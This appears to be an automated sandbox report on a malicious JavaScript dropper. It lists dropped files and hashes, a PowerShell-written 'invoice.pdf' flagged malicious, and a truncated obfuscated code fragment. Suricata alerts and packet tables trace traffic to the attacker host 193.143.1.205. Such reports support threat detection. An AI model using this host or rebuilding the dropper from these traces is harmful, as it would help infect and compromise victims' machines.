SSDEEP:	384:gMm5q5T56uqunu4tuLuYuguxuL/yMo6MDML9x9T9JM7MaMKMlMSzQDwzw/w1wJRW:gvsBUtaDtybBiga968arlLIlhWL4WiEb
MD5:	5BFB9E2810A597941028CA1E6D64F777
SHA1:	E7BEAA60040B6D46049D6F939DAB273A59AA1026
SHA-256:	ACA73552B8EB8C0931E13739DAF8D85E744A46DB5E473087A9929C893CD2D2EE
SHA-512:	37CA3E4CDD52E3EFA6D8550D6BA387F705B3850E180F582EC2A41F174CF91EC7DC1B81A38BF913B2BB229A6219AE21673D69BD114AA279337364820BCE07D563
Malicious:	false
Preview:	SessionID=1fba6d98-1d6a-4ace-84c8-02b3f7335115.1736517489695 Timestamp=2025-01-10T08:58:09:695-0500 ThreadID=7424 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=1fba6d98-1d6a-4ace-84c8-02b3f7335115.1736517489695 Timestamp=2025-01-10T08:58:09:715-0500 ThreadID=7424 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=1fba6d98-1d6a-4ace-84c8-02b3f7335115.1736517489695 Timestamp=2025-01-10T08:58:09:715-0500 ThreadID=7424 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=1fba6d98-1d6a-4ace-84c8-02b3f7335115.1736517489695 Timestamp=2025-01-10T08:58:09:715-0500 ThreadID=7424 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=1fba6d98-1d6a-4ace-84c8-02b3f7335115.1736517489695 Timestamp=2025-01-10T08:58:09:716-0500 ThreadID=7424 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.398413680624322
Encrypted:	false
SSDEEP:	192:acb4I3dcbPcbaIO4cbYcbqnIdjcb6acbaIewcbbGcbqIvRcb1:V3fOCIdJDexvva
MD5:	5D6F026F748FB290771D5278ED03C6D8
SHA1:	9FBBDBCF7E4004FB1C2F600AF976420137BFA88E
SHA-256:	09B56B1F797B65856ED636FC6F4B83C03CFFEB2B895DCFF4349B5C8C74D78991
SHA-512:	A2B6AD85B967701D66E649F68444B463223153872FC73BE18B8A5E0D0A8D860ED046923C7C5045876D62E594179903B812B13AE69EAD33825DA7CF4B30F16159
Malicious:	false
Preview:	05-10-2023 08:20:22:.---2---..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 08:20:22:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\36b8f6ef-470b-4705-9bf3-2d9b9dd09e2d.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/nZwYIGNPgeWL07oYGZ1dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:fZwZG/WLxYGZN3mlind9i4ufFXpAXkru
MD5:	1F3D69524A9D7E17BD2363C81D130F1A
SHA1:	C2A4A08839CBA47BEE2B601975F7C4F0CC191091
SHA-256:	D0FFBEC8502A0BE88A99F6708987658FEBE4CF3B6B79AF219C53EFF6458F9D9D
SHA-512:	A4CBE7073A7CB4C5E33E1CD903CCD7F24B78A04C037BFA1D90D9A5BBD12AF60E3DFFD6546277D1B765CA1DAC1CDA28D24D3454C81952B72D97CAF84DF395E99A
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\58d7429d-4997-4bf7-99ac-7116ff6a7bac.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 647360
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xTKdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07VYIGNPpeWL07oYGZd:JTa3mlind9i4ufFXpAXkrfUs05ZGeWLH
MD5:	C5017EED5762BD436FC2876C400E0687
SHA1:	A6E2FA1A4EC4544A066BB804706B8C5395002DDF
SHA-256:	59072DA580285F5C14C7EB90D88B3843FFD35A9FD4396BF6C10CD1BBF85904FF
SHA-512:	48216F4076EC080A1DF2BA0C139F79317B6267B4AAAF2AD7972513BFF7B1C1C3D8DB5640507574078856FB4F6BA4ECD8B65079E7D1E6F16AAD3BCB2C97C0F501
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\889e92dc-8232-4888-aecf-84e66fafa1be.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\95cf613c-ed20-4000-8a53-08c4bc9ed51f.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (16264), with CRLF line terminators
Entropy (8bit):	4.91714654291448
TrID:
File name:	7401990642713807.js
File size:	19'817 bytes
MD5:	d011642ba2c83f6746ec73f5e14feb1a
SHA1:	d9cf26e25776d25312aa9bbcfe04ad42daaa2a82
SHA256:	13db7debd9b59b21abcfd30dd2de6b88736f360e1f6765c254980eb60e338b92
SHA512:	1555b6507db5b1e3182597287218a85ff7838dfee3b72ffeabf96a40fc4a26b3102481b7cb84573734cafc8c2340d5fdb2073290657bcdf110fabf27f8d12987
SSDEEP:	384:pQpzSOwHD0F+WQHlwHo0F+WhYwP0F+WhYRLcK39UI2+V2SkXV27YfJf4mkN4Sz0M:pQpzSOwHD9WQHlwHo9W+wP9W+RLcu9UY
TLSH:	029273CAC11D4777E8E858E2BEBB08D593EE4986BA18408EE4500D8CDB2E675D7C11FC
File Content Preview:	function uivfycmfm(){ltjgs=[1031,3079,5127,4103,2055,3072];var aoncbj=this[yequejyi+rwnics+kpizca+abajtwut+xssjr+rhwcgxq+oxjstfavj+dfdebtqq](this[pomdpwj+bpzct+lxxazlqie+kpizca+erwjdlpd+yequejyi+dfdebtqq][ewbrxuso+kpizca+xssjr+rwnics+dfdebtqq+xssjr+oekyie

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-10T14:58:05.393783+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.6	49709	193.143.1.205	80	TCP
2025-01-10T14:58:08.011722+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.6	49711	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 14:58:04.560920000 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:04.568176985 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:04.568301916 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:04.571593046 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:04.576427937 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.393661976 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.393738031 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.393749952 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.393760920 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.393770933 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.393781900 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.393783092 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:05.393793106 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.393805027 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.393815041 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.393821001 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:05.393827915 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.393876076 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:05.398739100 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.398756981 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.398829937 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:05.453847885 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.453876972 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.453891993 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.453946114 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:05.496366978 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:05.519098043 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.519133091 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.519188881 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.519188881 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:05.519215107 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.519227028 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.519254923 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:05.519368887 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.519380093 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.519412041 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:05.520108938 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.520149946 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.520159006 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:05.520384073 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.520422935 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.520427942 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:05.520436049 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.520482063 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:05.520509005 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.520519018 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.520579100 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:05.521358013 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.521368980 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.521379948 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.521390915 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.521414042 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:05.521433115 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:05.522006035 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.522016048 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.522070885 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:05.541578054 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.541599989 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.541610003 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.541647911 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:05.541721106 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.541760921 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:05.638283968 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.638300896 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.638355017 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:05.639235020 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.639265060 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.639308929 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:05.646533012 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.646563053 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.646574974 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.646605015 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:05.646636009 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.646660089 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.646670103 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.646681070 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.646686077 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:05.646716118 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:05.648499966 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.648516893 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.648528099 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.648546934 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.648546934 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:05.648557901 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.648570061 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.648577929 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:05.648626089 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:05.648649931 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.648688078 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:05.648950100 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.648961067 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.648972034 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.648998976 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:05.649038076 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.649049997 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.649060965 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.649071932 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.649085045 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:05.649097919 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:05.649887085 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.649905920 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.649915934 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.649930000 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:05.649955988 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:05.649976969 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.649988890 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.650001049 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.650031090 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:05.650115967 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.650156021 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:05.650810957 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.650842905 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.650854111 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.650881052 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:05.650979042 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.650990963 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.651021957 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:05.651030064 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.651041985 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.651068926 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:05.651794910 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.651808977 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.651825905 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.651835918 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.651839972 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:05.651849031 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.651873112 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:05.651916981 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:05.670305014 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.670324087 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.670346022 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.670378923 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:05.714821100 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:05.725688934 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.725706100 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.725775003 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:58:05.764355898 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.764370918 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:58:05.764383078 CET	80	49709	193.143.1.205	192.168.2.6
